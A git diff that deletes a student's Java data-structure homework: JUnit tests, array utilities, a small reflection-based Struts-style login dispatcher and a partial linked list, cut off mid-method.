-			test.add(data);
-		}
-	}
-	
-	@Test
-	public void testAddObject() {
-		int len = test.size();
-		test.add(10);
-		assertEquals(len, test.size()-1);
-	}
-	
-	@Test
-	public void testAddIntObject() {
-		int len = test.size();
-		test.add(len, 10);
-		
-		assertEquals(len, test.size()-1);
-	}
-
-	@Test
-	public void testGet() {
-		assertEquals(Data[3], test.get(3));
-	}
-
-	@Test
-	public void testRemove() {
-		assertEquals(Data[4], test.remove(4));
-		assertEquals(Data.length-1, test.size());
-	}
-
-	@Test
-	public void testSize() {
-		assertEquals(Data.length, test.size());
-	}
-
-	@Test
-	public void testIterator() {
-		Iterator iterator =test.iterator();
-		for(Object i:Data){
-			if(iterator.hasNext()){
-				assertEquals(i,iterator.next());
-			}
-		}
-	}
-	
-
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/BinaryTreeNodeTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/BinaryTreeNodeTest.java
deleted file mode 100644
index 2d99534098..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/test/BinaryTreeNodeTest.java
+++ /dev/null
@@ -1,48 +0,0 @@
-package com.danny.hw1.test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import com.danny.hw1.BinaryTreeNode;
-import com.danny.hw1.LinkedList;
-
-public class BinaryTreeNodeTest {
-
-	static Object[] Data = new Object[]{5,10,3,2,15,12,56,8};
-	BinaryTreeNode test;
-	@Before
-	public void setUp() throws Exception{
-		test = new BinaryTreeNode();
-		for(Object data: Data){
-			test.insert(data);
-			
-		}
-	}
-	@Test
-	public void testPrintWholeTree(){
-		test.printWholeTree(test, 1);
-		int layer = 1;
-		int printNum = 0;
-		System.out.println("var {5,10,3,2,15,12,56,8} insert tree\n"+"Print binary tree:");
-		while(true){
-			if(printNum == test.getTeMap().size()) break;
-			for (Object key : test.getTeMap().keySet()) {
-				Integer value = test.getTeMap().get(key);
-
-				if (value.intValue() == layer){
-					System.out.print(key.toString()+"   ");
-					printNum++;
-				}
-				
-			}
-			System.out.println("");
-			layer++;
-		}
-		
-		
-	}
-	
-
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/LinkedListTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/LinkedListTest.java
deleted file mode 100644
index ab49d2823c..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/test/LinkedListTest.java
+++ /dev/null
@@ -1,86 +0,0 @@
-package com.danny.hw1.test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import com.danny.hw1.ArrayList;
-import com.danny.hw1.Iterator;
-import com.danny.hw1.LinkedList;
-
-public class LinkedListTest {
-
-	static Object[] Data = new Object[]{1,2,3,4,5,6,7,8};
-	LinkedList test;
-	@Before
-	public void setUp() throws Exception{
-		test = new LinkedList();
-		for(Object data: Data){
-			test.add(data);
-		}
-	}
-
-	@Test
-	public void testAddObject() {
-		int len = test.size();
-		test.add(10);
-		assertEquals(len, test.size()-1);
-	}
-
-	@Test
-	public void testAddIntObject() {
-		int len = test.size();
-		test.add(len, 10);
-		
-		assertEquals(len, test.size()-1);
-	}
-
-	@Test
-	public void testGet() {
-		assertEquals(Data[3], test.get(3));
-	}
-
-	@Test
-	public void testRemove() {
-		System.out.println(Data[4]);
-		assertEquals(Data[4], test.remove(4));
-		assertEquals(Data.length -1, test.size());
-	}
-
-	@Test
-	public void testSize() {
-		assertEquals(Data.length, test.size());
-	}
-
-	@Test
-	public void testIterator() {
-		Iterator iterator =test.iterator();
-		for(Object i:Data){
-			if(iterator.hasNext()){
-				assertEquals(i,iterator.next());
-			}
-		}
-	}
-
-	@Test
-	public void testAddFirst() {
-		test.addFirst(10);
-		assertEquals(10, test.get(0));
-	}
-
-	@Test
-	public void testRemoveFirst() {
-		Object ans=test.get(0);
-		assertEquals(ans,test.removeFirst());
-		assertEquals(Data.length-1,test.size());
-	}
-
-	@Test
-	public void testRemoveLast() {
-		Object ans=test.get(Data.length - 1);
-		assertEquals(ans,test.removeLast());
-		assertEquals(Data.length-1,test.size());
-	}
-
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/QueueTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/QueueTest.java
deleted file mode 100644
index 7292129e95..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/test/QueueTest.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package com.danny.hw1.test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import com.danny.hw1.LinkedList;
-import com.danny.hw1.Queue;
-
-public class QueueTest {
-
-	static Object[] Data = new Object[]{1,2,3,4,5,6,7,8};
-	Queue test;
-	@Before
-	public void setUp() throws Exception{
-		test = new Queue();
-		for(Object data: Data){
-			test.enQueue(data);
-		}
-	}
-
-	@Test
-	public void testEnQueue() {
-		Object t=10;
-		test.enQueue(t);	
-		assertEquals(Data.length+1,test.size());
-	}
-
-	@Test
-	public void testDeQueue() {
-		Object t=test.deQueue();
-		assertEquals(Data.length-1,test.size());
-		assertEquals(Data[0], t);
-	}
-	@Test
-	public void testIsEmpty() {
-		assertFalse(test.isEmpty());
-	}
-
-	@Test
-	public void testSize() {
-		assertEquals(Data.length,test.size());
-	}
-
-	
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/StackTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/StackTest.java
deleted file mode 100644
index 11484c0043..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/test/StackTest.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.danny.hw1.test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import com.danny.hw1.Queue;
-import com.danny.hw1.Stack;
-
-public class StackTest {
-
-	static Object[] Data = new Object[]{1,2,3,4,5,6,7,8};
-	Stack test;
-	@Before
-	public void setUp() throws Exception{
-		test = new Stack();
-		for(Object data: Data){
-			test.push(data);
-		}
-	}
-
-	@Test
-	public void testPush() {
-		Object t=10;
-		test.push(t);	
-		assertEquals(Data.length+1,test.size());
-	}
-
-	@Test
-	public void testPop() {
-		assertEquals(Data[Data.length-1], test.pop());
-		assertEquals(Data.length-1, test.size());
-	}
-
-	@Test
-	public void testPeek() {
-		assertEquals(Data[Data.length-1], test.peek());
-		assertEquals(Data.length, test.size());
-	}
-
-	@Test
-	public void testIsEmpty() {
-		assertFalse(test.isEmpty());
-	}
-
-	@Test
-	public void testSize() {
-		assertEquals(Data.length, test.size());
-	}
-
-	
-
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/SuitTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/SuitTest.java
deleted file mode 100644
index 25eb57411b..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/test/SuitTest.java
+++ /dev/null
@@ -1,17 +0,0 @@
-package com.danny.hw1.test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Suite;
-import org.junit.runners.Suite.SuiteClasses;
-
-@RunWith(Suite.class)
-@Suite.SuiteClasses({ArrayListTest.class,BinaryTreeNodeTest.class,
-					LinkedListTest.class,QueueTest.class,StackTest.class
-					})
-public class SuitTest {
-
-}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/ArrayUtil.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/ArrayUtil.java
deleted file mode 100644
index af11509593..0000000000
--- a/group23/729693763/Second_Homework2/src/com/danny/hw2/ArrayUtil.java
+++ /dev/null
@@ -1,221 +0,0 @@
-package com.danny.hw2;
-
-import java.util.Arrays;
-
-public class ArrayUtil {
-
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换 例如： a = [7, 9 , 30, 3] , 置换后为 [3, 30, 9,7] 如果 a =
-	 * [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * 
-	 * @param origin
-	 * @return
-	 */
-	public void reverseArray(int[] origin) {
-		int size = origin.length;
-		int[] temp = new int[size];
-
-		for(int i=0;i < size; i++){
-			temp[i] = origin[size-i-1];
-		}
-		
-		for(int i=0;i<size;i++){
-			origin[i] = temp[i];
-		}
-	}
-
-	/**
-	 * 现在有如下的一个数组： int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为： {1,3,4,5,6,6,5,4,7,6,7,5}
-	 * 
-	 * @param oldArray
-	 * @return
-	 */
-
-	public int[] removeZero(int[] oldArray) {
-		int oldArraySize = oldArray.length;
-		int resultSize = 0;
-		int[] temp = new int[oldArraySize];
-
-		for (int i = 0; i < oldArray.length; i++) {
-			if(oldArray[i] != 0){
-				temp[resultSize++] = oldArray[i];
-			}
-		}
-		return temp;
-	}
-
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 , 创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的 例如 a1 =
-	 * [3, 5, 7,8] a2 = [4, 5, 6,7] 则 a3 为[3,4,5,6,7,8] , 注意： 已经消除了重复
-	 * 
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-
-	public int[] merge(int[] array1, int[] array2) {
-		int array1Size = array1.length;
-		int array2Size = array2.length;
-		int[] result = new int[array1Size+array2Size];
-		int resultIndex = 0;
-		
-		for (int index1 = 0,index2 = 0; index1 < array1Size;) {
-			if ( index2 < array2Size ) {
-				if ( array1[index1] < array2[index2] ) {
-					result[resultIndex++] = array1[index1++];
-					break;
-				}
-				if( array1[index1] == array2[index2] ){
-					result[resultIndex++] = array1[index1++];
-					index2++;
-					break;
-				}
-				if( array1[index1] > array2[index2] ){
-					result[resultIndex++] = array2[index2++];
-					break;
-				}
-			} else{
-				result[resultIndex++] = array1[index1++];
-			}
-		}
-		System.out.println(resultIndex);
-		return Arrays.copyOf(result, resultIndex);
-		
-	}
-
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * 
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int[] oldArray, int size) {
-		int oldSize = oldArray.length;
-		int[] newArray= new int[oldSize+size];
-		
-		for ( int i = 0; i < newArray.length; i++) {
-			if ( i < oldSize ) {
-				newArray[i] = oldArray[i];
-			} else{
-				newArray[i] = 0;
-			}
-		}
-		return newArray;
-	}
-
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21...... ，给定一个最大值， 返回小于该值的数列 例如， max = 15 ,
-	 * 则返回的数组应该为 [1，1，2，3，5，8，13] max = 1, 则返回空数组 []
-	 * 
-	 * @param max
-	 * @return
-	 */
-	public int[] fibonacci(int max) {
-		if(max == 1){
-			return new int[0];
-		}
-		
-		int maxIndex = 1000;
-		int realIndex = 0;
-		int[] array=new int[maxIndex];
-		for (; realIndex <= array.length; realIndex++) {
-			int fibonacciNum = getFibonacciArray(realIndex+1);
-			if(fibonacciNum > max){
-				break;
-			}
-			array[realIndex] = fibonacciNum;
-		}
-		
-		
-		
-		return Arrays.copyOf(array, realIndex);
-	}
-	
-	
-	private int getFibonacciArray(int index){
-		
-		if(index == 0 || index == 1){
-			return index;
-		}
-		return getFibonacciArray(index - 1) + getFibonacciArray(index - 2); 
-	}
-	/**
-	 * 返回小于给定最大值max的所有素数数组 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * 
-	 * @param max
-	 * @return
-	 */
-	public int[] getPrimes(int max) {
-		int maxIndex = 1000;
-		int realSize = 0;
-		int[] array = new int[maxIndex];
-		for (int i = 0; i < max; i++) {
-			if(isPrimers(i)){
-				array[realSize++] = i;
-			}
-		}
-		return Arrays.copyOf(array, realSize);
-	}
-	private static boolean isPrimers(int n){
-		if (n <= 3) {
-			return n > 1;
-		}
-
-		for(int i=2;i<=Math.sqrt(n);i++){
-			if(n%i == 0)
-				return false;
-		}
-		return true;
-	}
-
-
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * 
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max) {
-		int maxIndex = 1000;
-		int realIndex = 0;
-		int[] array = new int[maxIndex];
-		int sum = 0;
-		
-		for (int i = 1; i < max /2 +1; i++) {
-			if(max % i == 0){
-				sum += i;
-				array[realIndex++] = i;
-			}			
-		}
-		if(sum == max){
-			return Arrays.copyOf(array, realIndex);
-		}else{
-			return new int[0];
-		}
-		
-	}
-
-	/**
-	 * 用seperator 把数组 array给连接起来 例如array= [3,8,9], seperator = "-" 则返回值为"3-8-9"
-	 * 
-	 * @param array
-	 * @param s
-	 * @return
-	 */
-	public String join(int[] array, String seperator) {
-		String result="";
-		for (int i = 0; i < array.length; i++) {
-			result+= String.valueOf(array[i]) + seperator;
-		}
-		//去掉多余的一个seperator
-		return result.substring(0, result.length()-1);
-	}
-	
-	
-
-
-}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/LoginAction.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/LoginAction.java
deleted file mode 100644
index 340d542dec..0000000000
--- a/group23/729693763/Second_Homework2/src/com/danny/hw2/LoginAction.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.danny.hw2;
-
-/**
- * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
- * @author liuxin
- *
- */
-public class LoginAction{
-    private String name ;
-    private String password;
-    private String message;
-
-    public String getName() {
-        return name;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-
-    public String execute(){
-            if("test".equals(name) && "1234".equals(password)){
-                this.message = "login successful";
-                return "success";
-            }
-            this.message = "login failed,please check your user/pwd";
-            return "fail";
-    }
-
-    public void setName(String name){
-        this.name = name;
-    }
-    public void setPassword(String password){
-        this.password = password;
-    }
-    public String getMessage(){
-        return this.message;
-    }
-}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/Struts.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/Struts.java
deleted file mode 100644
index 6e1cb4ba96..0000000000
--- a/group23/729693763/Second_Homework2/src/com/danny/hw2/Struts.java
+++ /dev/null
@@ -1,163 +0,0 @@
-package com.danny.hw2;
-
-import java.io.File;
-import java.lang.invoke.CallSite;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Field;
-import java.lang.reflect.Method;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-import org.dom4j.Document;
-import org.dom4j.DocumentException;
-import org.dom4j.Element;
-import org.dom4j.io.SAXReader;
-
-import org.jaxen.*;
-
-public class Struts {
-
-	private static Document file = null;
-	private static String file_path = 
-			new File("").getAbsolutePath()+".\\xmlFolder\\struts.xml";
-
-	private static String viewPath="com.danny.hw2.View";
-	
-	//0. 读取配置文件struts.xml
-    private static Document parse(String path){
-        SAXReader reader = new SAXReader();
-        Document document = null;
-		try {
-			document = reader.read(path);
-		} catch (DocumentException e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();			
-		}
-        return document;
-    }
-    
-    private static Element getAction(Document document,String name){
-
-    	List<Element> lElement = (List<Element>) file.selectObject("/struts/action");
-    	Element actionElement = null;
-    	for(Element e:lElement){
-    		if(e.attributeValue("name").equals(name)){
-    			actionElement = e;    			
-    			break;
-    		}
-    	}
-    	return actionElement;
-    }
-	
-    public static View runAction(String actionName, Map<String,String> parameters) {
-    	
-    	file = parse(file_path);
-    	
-    	//返回的class View;
-    	Object viewClass = null;
-    	
-    	
-    	//0 Get Action Element    	
-    	Element actionElement = getAction(file, actionName);
-
-    	
-    	String actionClassPath = actionElement.attributeValue("class");
-    	System.out.println(actionClassPath);
-    	
-    	Object action = null;
-    	
-    	try {
-    		/*
-    		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
-    		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
-    		("name"="test" ,  "password"="1234") ,   		     	
-    		那就应该调用 setName和setPassword方法
-    		*/
-			action = Class.forName(actionClassPath).newInstance();
-			
-			Method setName = action.getClass().getMethod("setName",String.class);
-			setName.invoke(action, parameters.get("name"));
-			
-			Method setPassword = action.getClass().getMethod("setPassword",String.class);
-			setPassword.invoke(action, parameters.get("password"));
-			
-			
-			//2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-			Method execute = action.getClass().getMethod("execute", null);
-			Object status = execute.invoke(action);
-			
-			System.out.println(status.toString());
-			
-			
-			//3获得所有的Getter字段
-			Field[] files = action.getClass().getDeclaredFields();
-			
-			HashMap<String,String> save = new HashMap<>();
-			
-			//找到需要的数据，线存到save中
-			for (int i = 0; i < files.length; i++) {
-				String name = files[i].getName();
-				name = "get" + name.substring(0,1).toUpperCase() + 
-						name.substring(1);
-				
-				
-				Method getter = action.getClass().getMethod(name,null);
-				save.put(files[i].getName(), (String) getter.invoke(action));
-				
-			}
-			//塞进viewClass里面
-			viewClass = Class.forName(viewPath).newInstance();
-			Method setParameters = viewClass.getClass().getMethod("setParameters", Map.class);
-			setParameters.invoke(viewClass, save);
-			
-			
-			
-			//4将jsp放进去
-			List<Element> resultElement = actionElement.selectNodes("result");
-			for(Element e:resultElement){
-				if(e.attributeValue("name").equals(status.toString())){
-					String jspFields= e.getStringValue();
-					viewClass.getClass().getMethod("setJsp", String.class).
-					invoke(viewClass, jspFields);
-				}
-				
-			}
-			
-			
-		} catch (Exception e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-			
-			throw new RuntimeException(e.getMessage());
-		}
-    	
-    	
-    	
-    	
-        /*
-         
-		0. 读取配置文件struts.xml
- 		
- 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
-		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
-		("name"="test" ,  "password"="1234") ,     	
-		那就应该调用 setName和setPassword方法
-		
-		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-		
-		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
-		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
-		放到View对象的parameters
-		
-		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
-		放到View对象的jsp字段中。
-        
-        */
-    	
-    
-    	return (View) viewClass;
-    }    
-
-
-}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/View.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/View.java
deleted file mode 100644
index 67ff0a061b..0000000000
--- a/group23/729693763/Second_Homework2/src/com/danny/hw2/View.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.danny.hw2;
-
-import java.util.Map;
-
-public class View {
-	private String jsp;
-	private Map parameters;
-	
-	public String getJsp() {
-		return jsp;
-	}
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-	public Map getParameters() {
-		return parameters;
-	}
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/test/ArrayUtilTest.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/test/ArrayUtilTest.java
deleted file mode 100644
index a7fce5320a..0000000000
--- a/group23/729693763/Second_Homework2/src/com/danny/hw2/test/ArrayUtilTest.java
+++ /dev/null
@@ -1,95 +0,0 @@
-package com.danny.hw2.test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Test;
-
-import com.danny.hw2.ArrayUtil;
-
-public class ArrayUtilTest {
-
-	@Test
-	public void testReverseArray() {
-//		 * 给定一个整形数组a , 对该数组的值进行置换 例如： a = [7, 9 , 30, 3] , 置换后为 [3, 30, 9,7] 如果 a =
-//				 * [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-		int[] testData = new int[]{7,9,30,3};
-		int[] ans = new int[]{3,30,9,7};
-		new ArrayUtil().reverseArray(testData);
-		
-		for (int i = 0; i < ans.length; i++) {
-			assertEquals(ans[i], testData[i]);
-		}
-	}
-
-	@Test
-	public void testRemoveZero() {
-		int[] testData = new int[]{1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5};
-		int[] ans = new int[]{1,3,4,5,6,6,5,4,7,6,7,5};
-	
-		int[] test = new ArrayUtil().removeZero(testData);
-		for (int i = 0; i < ans.length; i++) {
-			assertEquals(ans[i], test[i]);
-		}
-	}
-
-	@Test
-	public void testMerge() {
-//		 * 给定两个已经排序好的整形数组， a1和a2 , 创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的 例如 a1 =
-//				 * [3, 5, 7,8] a2 = [4, 5, 6,7] 则 a3 为[3,4,5,6,7,8] , 注意： 已经消除了重复
-		int[] a1 = new int[]{3, 5, 7,8};
-		int[] a2 = new int[]{4,5,6,7};
-		
-		int[] ans = new int[]{3,4,5,6,7,8};
-		
-		int[] test = new ArrayUtil().merge(a1, a2);
-		
-		for (int i = 0; i < test.length; i++) {
-			assertEquals(ans[i], test[i]);
-		}
-
-	}
-
-	@Test
-	public void testGrow() {
-//		把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-//		 * 注意，老数组的元素在新数组中需要保持 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-//		 * [2,3,6,0,0,0]
- 
-		int size = 3;
-		int[] testData = new int[]{2,3,6};
-		int[] test = new ArrayUtil().grow(testData, size);
-		assertEquals(testData.length+size, test.length);
-		
-	}
-
-	@Test
-	public void testFibonacci() {
-		int[] ans = new int[]{1,1,2,3,5,8,13};
-		int[] array = new ArrayUtil().fibonacci(15);		
-		for (int i = 0; i < ans.length; i++) {
-			assertEquals(ans[i], array[i]);	
-		}
-		
-	}
-
-	@Test
-	public void testGetPerfectNumbers() {
-		
-		int[] ans=new int[]{1,2,4,7,14};
-		int[] array=new ArrayUtil().getPerfectNumbers(28);
-		for (int i = 0; i < array.length; i++) {
-			assertEquals(ans[i], array[i]);
-		}
-	}
-
-	@Test
-	public void testJoin() {
-		//* 用seperator 把数组 array给连接起来 例如array= [3,8,9],
-		//seperator = "-" 则返回值为"3-8-9"
-		int[] test = new int[]{3,8,9};
-		
-		String test1 = new ArrayUtil().join(test, "-");
-		assertEquals("3-8-9", test1);
-	}
-
-}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/test/StrutsTest.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/test/StrutsTest.java
deleted file mode 100644
index 49b770f015..0000000000
--- a/group23/729693763/Second_Homework2/src/com/danny/hw2/test/StrutsTest.java
+++ /dev/null
@@ -1,46 +0,0 @@
-package com.danny.hw2.test;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-import com.danny.hw2.Struts;
-import com.danny.hw2.View;
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //密码和预设的不一致
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-}
diff --git a/group23/729693763/Third_Homework3/DataStruct/Iterator.java b/group23/729693763/Third_Homework3/DataStruct/Iterator.java
deleted file mode 100644
index 2ca354f82a..0000000000
--- a/group23/729693763/Third_Homework3/DataStruct/Iterator.java
+++ /dev/null
@@ -1,6 +0,0 @@
-package com.zhous.DataStruct;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-}
diff --git a/group23/729693763/Third_Homework3/DataStruct/LinkedList.java b/group23/729693763/Third_Homework3/DataStruct/LinkedList.java
deleted file mode 100644
index 2a6663a3ba..0000000000
--- a/group23/729693763/Third_Homework3/DataStruct/LinkedList.java
+++ /dev/null
@@ -1,327 +0,0 @@
-package com.zhous.DataStruct;
-
-import javafx.beans.binding.ObjectExpression;
-
-
-
-public class LinkedList implements List {
-	
-	private Node head = null;
-	private int size = 0;
-
-	public void add(Object o){
-		addLast(o);
-		this.size++;
-	}
-
-	//内部调用的方法：
-	//2 返回添加到哪个Node
-	private Node findBeforeInsertNode(int needInsertIndex){
-		Node findGetNode = this.head;
-		for ( int i=0; i< needInsertIndex - 1; i++ ) {
-			findGetNode = findGetNode.next;
-		}
-		return findGetNode;
-	}
-	//3
-	private void checkPositionIndex(int index) {
-		if ( !( index >= 0 && index <= size ) )
-			throw new IndexOutOfBoundsException("Invalid Index:"+index);
-	}
-
-	//4
-	private void addBeforeNode(int index, Object o) {
-		Node newNode = new Node();
-		newNode.data = o;
-		newNode.next = null;
-
-		Node beforeInserNode = this.head;
-
-
-			beforeInserNode =  findBeforeInsertNode(index);
-
-			newNode.next = beforeInserNode.next;
-			beforeInserNode.next = newNode;
-
-	}
-	//5
-	private Node findIndexNode(int index){
-		Node findGetNode = this.head;
-		for ( int i=0; i< index; i++ ) {
-			findGetNode = findGetNode.next;
-		}
-		return findGetNode;
-	}
-
-
-	public void add(int index , Object o){
-		checkPositionIndex(index);
-		if( index == size()){
-			addLast(o);
-		} else if ( index == 0 ) {
-			addFirst(o);
-		} else{
-			addBeforeNode(index,o);
-		}
-		this.size++;
-	}
-
-
-
-
-	public Object get(int index){
-		checkElementIndex(index);
-		return findIndexNode(index);
-	}
-	public Object remove(int index){
-		checkElementIndex(index);
-		Object deleteData = null;
-
-		if(index == 0){
-			deleteData = removeFirst();
-		} else if(index == (size() - 1) ){
-			deleteData = removeLast();
-		} else {
-			Node temp = findBeforeInsertNode(index);
-			Node tempNext = temp.next;
-			deleteData = tempNext.data;
-
-			temp.next = tempNext.next;
-			tempNext = null;
-		}
-
-		return deleteData;
-	}
-
-	//6
-	private void checkElementIndex(int index) {
-		if ( !( index >= 0 && index < size ) )
-			throw new IndexOutOfBoundsException("Invalid Index:"+index);
-	}
-
-	public int size(){
-		return this.size;
-	}
-	
-	public void addFirst(Object o){
-		Node newNode = new Node();
-		newNode.data = o;
-		newNode.next = null;
-		if ( this.head == null  ) {
-			this.head = newNode;
-		} else {
-			newNode.next = this.head;
-			this.head = newNode;
-		}
-	}
-	private void addLast(Object o){
-		Node newNode = new Node();
-		newNode.data = o;
-		newNode.next = null;
-		if ( head == null ) {
-			head = newNode;
-		} else{
-			findBeforeInsertNode(this.size).next = newNode;
-		}
-	}
-	public Object removeFirst(){
-		Object data;
-		Node newHead = new Node();
-		newHead = this.head;
-		this.head = newHead.next;
-
-		data = newHead.data;
-		newHead = null;
-		return  data;
-	}
-	public Object removeLast(){
-		Object data;
-		Node last = findIndexNode(this.size() -1);
-		data = last.data;
-		last = null;
-
-		return data;
-	}
-	public Iterator iterator()
-	{
-		return new LinkedListIterator();
-	}
-
-	
-	private static  class Node{
-		Object data;
-		Node next;
-		
-	}
-	
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public  void reverse(){		
-		Node first ;
-		int currentIndex = 1;
-		this.head = findIndexNode(this.size - 1);
-		if(this.size() <= 1){
-			return;
-		}
-		while(currentIndex < this.size() ){
-			first = findIndexNode(this.size() - currentIndex);
-			first.next = findIndexNode(this.size - currentIndex - 1);
-			currentIndex++;
-		}
-	}
-	
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public  void removeFirstHalf(){
-		checkElementIndex(this.size());
-
-		int mid = this.size / 2;
-		Node temp = this.head;
-		this.head = findIndexNode(mid);
-		for (int i = 0; i < mid; i++) {
-			Node T = temp.next;
-			temp = null;
-			temp = T;
-		}
-
-	}
-	
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param index
-	 * @param length
-	 */
-	public  void remove(int index, int length){
-		checkElementIndex(length + index );
-
-		Node before = findBeforeInsertNode(index);
-		Node temp = findIndexNode(index);
-		for (int i= 0; i < length; i++) {
-			Node T = temp.next;
-			temp = null;
-			temp = T;
-		}
-		before.next = temp;
-	}
-	/**
-	 * 假定当前链表和listB均包含已升序排列的整数
-	 * 从当前链表中取出那些listB所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public  int[] getElements(LinkedList list){
-		Node listNode = list.head;
-		Node myNode = this.head;
-		int[] data = new int[list.size()];
-		for (int i = 0; i < this.size(); i++) {
-			if(i == (Integer) listNode.data){
-				data[i] = (Integer)myNode.data;
-			}
-			myNode = myNode.next;
-		}
-
-		return data;
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在listB中出现的元素 
-
-	 * @param list
-	 */
-	
-	public  void subtract(LinkedList list){
-
-		int[] data = new int[list.size()];
-		for (int i = 0,j = 0; i < this.size(); i++) {
-			for (; j < list.size(); j++) {
